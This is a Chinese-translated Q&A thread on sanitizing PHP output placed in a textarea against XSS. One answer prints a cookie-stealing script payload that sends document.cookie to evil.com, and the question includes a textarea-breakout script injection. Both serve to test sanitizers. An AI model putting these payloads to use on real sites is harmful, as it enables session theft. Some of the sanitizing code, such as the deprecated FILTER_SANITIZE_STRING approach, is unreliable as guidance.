【问题标题】:Sanitizing Output To Textarea From XSS清理 XSS 到 Textarea 的输出
【发布时间】:2012-04-22 17:42:04
【问题描述】:

如果要在诸如 textareas 之类的输入中使用从数据库(在 php 中)清除值的最佳方法是什么?

例如,在插入数据时,我可以去掉标签和引号并用 html 字符代码替换它们,然后在插入之前使用 mysql_real_escape_string。

在检索该数据时,我需要将其显示在文本区域中。我怎样才能做到这一点并且仍然避免 XSS? (例如,您可以轻松输入

</textarea><script type='text/javascript'> Malicious Code</script><textarea>

) 并导致问题。

谢谢!

【问题讨论】:

  • 既然你提到了mysql_real_escape_string(),我假设你想用PHP来做这个?

标签: php css textarea xss sanitize


【解决方案1】:

如果您想使用纯简单的 php 解决方案,我想我更喜欢 filter_varurl_decode 的组合

原因

想象一下这样的估算

$maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";

如果我使用strip_tags

var_dump(strip_tags($maliciousCode));

输出

string 'document.write("' (length=16)

如果我使用htmlspecialchars

var_dump(htmlspecialchars($maliciousCode));

输出

string '&lt;script&gt;document.write(&quot;&lt;img src='http://evil.com/?cookies='&quot;+document.cookie+&quot;' style='display:none;' /&gt;&quot;);&lt;/script&gt; I love PHP' (length=166)

我的选择

function cleanData($str) {
    $str = urldecode ($str );
    $str = filter_var($str, FILTER_SANITIZE_STRING);
    $str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
    return $str ;
}

$input = cleanData ( $maliciousCode );
var_dump($input);

输出

 string 'document.write(&#38;#34;&#38;#34;); I love PHP' (length=46)

如果表单使用GET 而不是POST,如果它是 url 编码的,有些可以直到转义,您可以获得最少的信息并确保最终文本是无害的

网上也有足够的类帮你做过滤看看

【讨论】:

  • 为什么不加斜杠?
  • 不幸的是,这不允许多个字符通过,例如 &。例如,如果 hte 用户写入文本“1
【解决方案2】:

HTMLpurifier 是一个很好的工具,可以清除不需要的 HTML,尤其是不需要的 JavaScript。还建议使用htmlspecialchars() 输出用户提供的内容。

【讨论】:

    【解决方案3】:

    在我的联系表单上收到垃圾邮件后,我扩展了清理文本框用户输入的功能。它现在还涵盖了多行文本区域输入

    我需要格式化正常显示以及我的联系页面中的 html 电子邮件。 它还提供了我也使用的纯文本电子邮件格式的选项。

    function clean_text($text, $html = true)
    { if($text == ""){return "";}
      $text = nl2br($text,false); // false gives <br>, true gives <br />
      $textary = explode("<br>",$text);
      foreach($textary as $key => $val)
      { $val = trim($val);
        $val = stripslashes($val);
        $val = htmlspecialchars($val);
        $textary[$key] = $val;
      }
      if ($html)
      { return implode("<br />",$textary);} //return implode("<br>",$textary);
      else
      { return implode("\r\n",$textary);}
    }   
    

    顺便说一句...感谢 SO 成员参与我的 PHP 学习。

    http://www.microcal.ca/scripts/cleantext.php 的示例

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 2013-02-01
      • 2010-12-07
      • 1970-01-01
      • 1970-01-01
      • 2011-10-20
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多